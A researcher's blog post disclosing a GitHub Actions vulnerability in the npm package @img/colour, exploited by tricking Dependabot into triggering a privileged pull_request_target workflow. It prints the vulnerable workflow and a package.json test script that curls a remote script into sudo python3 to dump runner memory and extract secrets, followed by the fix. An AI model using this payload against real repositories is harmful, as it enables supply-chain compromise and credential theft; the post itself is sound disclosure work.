Hello dear readers, nice to meet you all! Let me introduce myself: my name is Garance, and I started working at Lupin and Holmes two weeks ago in the Offensive Security Research team. Fresh out of university, they offered me my first graduate job, and I'm super excited about it!
During my first week, I had to prove myself and get rid of at least a little bit of my imposter syndrome. But how?
Well... I've found a way to hack an upstream package used by tons of Fortune 500 and FAANG companies. And now I feel a bit better :)

To be more precise, I discovered a vulnerability in @img/colour, a critical upstream dependency for many global leaders. We contacted the maintainer, who handled the issue with remarkable efficiency.
The Open Source npm Package: @img/colour
@img/colour is a literal lifesaver for developers caught in the agonizing crossfire of the JavaScript module wars. Recently, the wildly popular color package made the leap to become ESM-only. The problem? Many JavaScript runtimes, including any version of Node.js prior to 20.19.0, simply do not support this yet.
Enter @img/colour. This package swoops in to convert the color package and its entire MIT-licensed dependency tree (color, color-convert, color-string, and color-name) back into good old-fashioned CommonJS. Because it serves as this crucial bridge for runtime compatibility, it is downloaded more than 40 million times per week.
Countless applications, styling tools, and Node.js backends rely on it directly or indirectly to parse and manipulate colors. It sits quietly but deeply within the transitive dependency tree of a massive portion of the npm ecosystem.
A compromised release of @img/colour would strike silently the very next time anyone, anywhere, runs npm install, injecting backdoors straight into the global software supply chain.

A Sketchy GitHub Actions Workflow
It all started when Depi, Lupin and Holmes's Upstream Security Platform, flagged a potentially vulnerable GitHub Actions workflow in the main branch of @img/colour. My mission was to dig in, verify the True Positive, and see if it was actually exploitable.
Spoiler alert: It was extremely exploitable.
The repository used a GitHub Actions workflow (.github/workflows/dependabot.yaml) that triggered on the pull_request_target event:
name: Dependabot
on:
pull_request_target:
types:
- opened
- synchronize
permissions: {}
jobs:
rebuild:
if: ${{ github.actor == 'dependabot[bot]' }}
runs-on: ubuntu-latest
permissions:
pull-requests: read
contents: write
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- uses: actions/setup-node@v4
with:
node-version: '18'
- run: npm install
- run: npm run build
- run: npm test
- run: |
git remote set-url origin https://x-access-token:${{ secrets.GITHUB_TOKEN }}@github.com/$GITHUB_REPOSITORY
git config --local user.email "41898282+github-actions[bot]@users.noreply.github.com"
git config --local user.name "github-actions[bot]"
- run: |
git add color.cjs
git commit -m "[dependabot skip] build" || true
git push origin HEAD:${{ github.event.pull_request.head.ref }}
This event is dangerous by design because it allows workflows to run with elevated privileges, including access to repository secrets and a GITHUB_TOKEN with write permissions, even if the PR originates from a completely untrusted fork. But you might already know that...
Combine that with an actions/checkout of the untrusted head branch (ref: ${{ github.event.pull_request.head.sha }}) and tools such as npm install or npm test, which we can manipulate by modifying their configuration files (package.json), and we are witnessing a textbook example of a vulnerable GHA workflow.
If I could get this workflow to run on a PR I controlled, I would be able to run arbitrary code within the GHA workflow, retrieve the GitHub token (and maybe even more secrets!), and use it to write directly into the main branch of the repo. This would be an amazing achievement for my very first week!

The Bot Identity Crisis
The only problem was: the workflow was coded to trigger only if ${{ github.actor == 'dependabot[bot]' }}. As motivated as I was, turning myself into a literal bot seemed a bit difficult.
But what if I could instead manipulate the bot to open a PR I had control over?
By orchestrating a "Dependabot Impersonation", I was able to effectively "bless" my malicious PR with Dependabot's identity and trigger Remote Code Execution (RCE) in a highly privileged context.
The Exploit
-
Owning my own bot: First, I forked the target repository and ensured Dependabot was enabled on my fork.
-
Spill the beans, Runner: I found a Python script Nikita Stupin wrote (thanks a lot) to dump the runner's memory (and all its secrets) and hosted it on a GitHub Gist. This script scours the
/procdirectory to find the PID forRunner.Workerand dumps its mapped readable memory (/proc/{pid}/mem) to standard output, essentially spilling its guts into the action logs. -
The Spices: On my fork's main branch, I modified the package.json to include an outdated dependency, guaranteeing Dependabot would eventually create a PR. I also modified the scripts.test field to curl my Python script, run it via sudo, grep for secrets, and base64-encode the output.
"scripts": {
"test": "curl -sSf [YOUR_GIST_URL] | sudo python3 | tr -d '\0' | grep -aoE '\"[^\"]+\":\{\"value\":\"[^\"]*\",\"isSecret\":true\}' | sort -u | base64 -w 0 | base64 -w 0 && exit 0"
},
"dependencies": {
"cloudinary": "2.9.0"
}
-
The Rest: I waited for Dependabot to create a branch updating package.json with the version update and to open a PR from that branch to the main branch of my fork.
-
The Entrance: I opened a Pull Request from that specific Dependabot branch on my fork to the main branch of the original upstream repository. Because I (the human) opened it, the
github.actorwas me and the check failed. The workflow didn't trigger. Yet.

- The Inside Bot: Time for a little social engineering on my robotic accomplice. I navigated back to the PR on my fork and dropped a
@dependabotrecreate comment for my buddy to refresh it for me.

- The Switcheroo: Dependabot obediently recreated and force-pushed to the branch. Because this branch was the source of my upstream PR, the upstream PR updated automatically. The
pull_request_targetworkflow finally triggered because the actor pushing the code was now officially Dependabot!

Game Over: Dumping Memory
Once the workflow was tricked into running, it effectively checked out the code of the PR, including the malicious package.json. It executed npm test on my poisoned code. My Python script displayed the runner's memory and exfiltrated the GITHUB_TOKEN and repository secrets straight to the action logs.

By simply double-decoding the base64 output, I had total write access to a repository that 40 million people rely on every week.
Not too shabby for week one, right?

The Fix
The@img/colour maintainer was incredibly reactive and patched the vulnerability that very same week. They effectively resolved the issue by replacing the pull_request_target event in the workflow with pull_request. The workflow now runs in a restricted environment, without access to sensitive secrets.
The correction is available from commit 8a38074.
Another viable fix would have been to strictly ensure that the workflow only runs if the PR is not coming from a fork:
if: ${{ github.actor == 'dependabot[bot]' && github.event.pull_request.head.repo.full_name == github.repository }}
As a general rule, always implement the principle of least privilege. The contents: write permission is dangerously broad. Whenever a workflow requires access to sensitive secrets, leverage GitHub Environments with required human reviewers.
Huge thanks
A massive thank you to the maintainer, Lovell, for being super reactive and deploying a patch in just two days, on a Sunday, no less.
Thanks to Lupin who expertly reviewed the PoC to ensure everything was airtight.
Special thanks to Francois Proulx (Boost Security) for his mentorship and technical guidance.
Shoutout to the brilliant researchers who paved the way for this: Hugo Vincent for his article GitHub Actions exploitation: Dependabot (Aug. 6, 2024) and Francois Proulx for Weaponizing Dependabot: Pwn Request at its Finest (2025).
Conclusion
All it took was an overly permissive workflow, an untrusted branch checkout, and blind faith in a friendly bot. These three simple flaws transformed a basic dependency update into a full-blown remote code execution, handing over the keys to a package downloaded 40 million times a week. The fix? A single context switch.
It turns out that in cybersecurity, you don't need to be a robot to bypass the system, you just need to know how to politely ask one for a favor.
Until the next vulnerability!

